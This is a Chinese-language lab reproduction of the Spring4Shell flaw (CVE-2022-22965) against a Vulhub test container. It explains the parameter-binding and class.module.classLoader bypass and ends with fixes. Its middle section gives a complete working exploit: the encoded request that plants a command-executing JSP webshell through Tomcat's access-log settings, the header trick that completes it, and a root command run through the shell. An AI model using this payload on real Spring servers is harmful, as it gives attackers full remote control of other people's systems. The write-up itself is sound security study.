CVE-2022-22965(Spring4Shell)是 Spring Framework 的远程代码执行漏洞,CVSS 9.8。Spring MVC 的参数绑定机制会递归地将 HTTP 请求参数绑定到 Java 对象属性上,原有黑名单只拦截了 class.classLoader 路径;JDK 9 引入模块化后在 Class 对象上新增了 getModule() 方法,攻击者通过 class.module.classLoader 这条新路径绕过黑名单,访问并篡改 Tomcat 的 AccessLogValve(访问日志组件)的配置属性:把日志输出目录改到 Web 根目录、文件名后缀改为 .jsp、日志内容格式改为一段 JSP 代码,让 Tomcat 自己往 Web 目录写一个 Webshell,实现远程代码执行。利用条件:Spring Framework < 5.3.18 / < 5.2.20,运行在 JDK 9+ 上,且以 WAR 包部署在 Tomcat(Spring Boot 内嵌 Tomcat 的类加载器路径不同,不受此漏洞影响)。
复现基于 Vulhub 的 spring/CVE-2022-22965 靶场(Spring 5.3.17 + JDK 11 + Tomcat),覆盖无害化探测(状态码对比)、Webshell 写入、命令执行三个阶段,并拆解参数绑定、模块化绕过、日志阀篡改的利用链。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2022-22965 | 9.8 | Spring Framework < 5.3.18、< 5.2.20(需 JDK 9+ 且部署于 Tomcat WAR) | 远程代码执行(RCE) |
漏洞复现
复现环境准备
使用 Vulhub 快速搭建漏洞环境:
┌──(kali㿿kali)-[~]└─$ apt install docker.io docker-compose # 安装 Docker 和 docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/spring/CVE-2022-22965└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态7fb0fecd0ed8 vulhub/spring-webmvc:5.3.17 "catalina.sh run" 4 minutes ago Up 4 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2022-22965-spring-1访问 http://192.168.31.148:8080/,出现以下页面:

尝试加入参数 /?name=test&age=18,发现页面内容发生了变化:

端口扫描与服务识别
┌──(kali㿿kali)-[~]└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
# 扫描结果PORT STATE SERVICE VERSION8080/tcp open nagios-nsca Nagios NSCA|_http-open-proxy: Proxy might be redirecting requests|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).MAC Address: 00:0C:29:B3:23:74 (VMware)Spring 应用返回的 HTML 响应无 <title> 标签,且存在特殊请求处理逻辑,导致 nmap 脚本误判为 Nagios NSCA。
无害化探测:状态码对比
发送一个完全正常的请求,记录响应码:
┌──(kali㿿kali)-[~]└─$ curl -i http://192.168.31.148:8080/HTTP/1.1 200Set-Cookie: JSESSIONID=81FD917F820A801DEABA26295E09AB71; Path=/; HttpOnlyContent-Type: text/html;charset=ISO-8859-1Content-Language: enContent-Length: 80发送一个尝试访问 class.module.classLoader 的请求。如果 Spring 允许访问但你没有提供正确的子属性,或者属性类型不匹配,服务器通常会抛出 400 Bad Request:
┌──(kali㿿kali)-[~]└─$ curl -ig http://192.168.31.148:8080/?class.module.classLoader.URLs[0]=testHTTP/1.1 400Content-Type: text/html;charset=utf-8Content-Language: enContent-Length: 2070发送 class.module.classLoader.URLs[0]=test 时,Spring 尝试按给出的路径去寻找并修改 ClassLoader 中的 URLs 属性。URLs[0] 期望接收的是一个 java.net.URL 对象,而传入的是字符串 "test",Spring 在类型转换时失败,抛出异常并返回 400 状态码。
如果目标没有漏洞(补丁已修复或 JDK 版本不对),Spring 会直接忽略这个参数,返回正常的 200 OK。
写入 Webshell
向靶机发送 POST 请求,结果收到一个 HTTP 405 Method Not Allowed 错误:
┌──(kali㿿kali)-[~]└─$ curl -i -X POST -d "class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell" http://192.168.31.148:8080/HTTP/1.1 405Allow: GETContent-Type: text/html;charset=utf-8Content-Language: enContent-Length: 750后端 Controller 方法仅允许 GET 请求。Spring 的参数绑定只有在请求成功匹配到控制器方法时才会触发,方法不匹配时攻击请求在进入绑定阶段前就被拦截了。
Spring 的属性绑定机制不区分请求方法,改用 GET 传参,使用 Burp Suite 发送请求:
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc1%7Di%40%20page%20import%3D%22java.util.*%2Cjava.io.*%22%20%25%7Bc2%7Di%25%7Bc1%7Di%20if%20(request.getParameter(%22cmd%22)%20!%3D%20null)%20%7B%20Process%20p%20%3D%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22))%3B%20DataInputStream%20dis%20%3D%20new%20DataInputStream(p.getInputStream())%3B%20String%20disLine%20%3D%20%22%22%3B%20while%20((disLine%20%3D%20dis.readLine())%20!%3D%20null)%20%7B%20out.println(disLine)%3B%20%7D%20%7D%20%25%7Bc2%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.31.148:8080User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: JSESSIONID=DF935D9D49A390FAA8AC20737BE0D672Upgrade-Insecure-Requests: 1Priority: u=0, i在修改完配置后,必须通过带有特殊 Header 的请求去填充那些占位符,发送 5-10 次。Tomcat 在写入日志时,看到配置里的 %{c1}i,就会去 Header 里找 c1 的值(即 <%)并写入文件,这样就绕过了 URL 编码对特殊字符的破坏:
GET / HTTP/1.1
Host: 192.168.31.148:8080c1: <%c2: %>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: JSESSIONID=DF935D9D49A390FAA8AC20737BE0D672Upgrade-Insecure-Requests: 1Priority: u=0, i验证命令执行
访问新生成的 shell.jsp,已经可以正常执行 id:
┌──(kali㿿kali)-[~]└─$ curl "http://192.168.31.148:8080/shell.jsp?cmd=id"uid=0(root) gid=0(root) groups=0(root)漏洞核心原理
Spring 的参数绑定
Spring MVC 提供了自动将 HTTP 请求参数绑定到 Java 对象属性上的功能。当向接口发送 ?name=Alice&age=20 时,Spring 会通过反射调用后端 POJO 对象的 setName("Alice") 和 setAge(20)。这种绑定是递归的:如果对象中包含其他对象,可以通过点号(.)一直向下访问。
JDK 9+ 的反射链绕过
JDK 9 引入了 Module(模块)化概念,在 Class 对象中增加了一个 getModule() 方法。攻击者发现了一条全新的路径:
class(获取当前类)→ module(获取模块)→ classLoader(获取类加载器)
Spring 之前的黑名单只拦截了 class.classLoader,没有预料到通过 module 也能到达 classLoader。
篡改 Tomcat 日志阀(AccessLogValve)
AccessLogValve 是 Tomcat 负责记录访问日志的组件。攻击者通过请求参数动态修改它的四个关键属性:
directory:将日志存放路径改到 Web 根目录(webapps/ROOT)prefix/suffix:将文件名改为shell.jsppattern:将日志的内容格式改为一段 JSP 代码,其中%{c1}i和%{c2}i占位符分别从请求头c1、c2中取值(即<%和%>),拼接成完整的 JSP 语句
攻击者发送完配置请求后,Tomcat 每处理一次访问就往 Web 目录写一条含 JSP 代码的日志,最终生成一个可执行任意命令的 shell.jsp。
修复方案
- 升级 Spring Framework 至 5.3.18 / 5.2.20 或更高版本(黑名单加入
class.module.classLoader路径); - 无法立即升级时,可通过
ControllerAdvice的initBinder注册全局WebDataBinder过滤器,拒绝包含class.前缀的参数绑定; - Spring Boot 内嵌 Tomcat(默认部署方式)不受此漏洞影响,风险集中在 WAR 包部署于独立 Tomcat 的场景。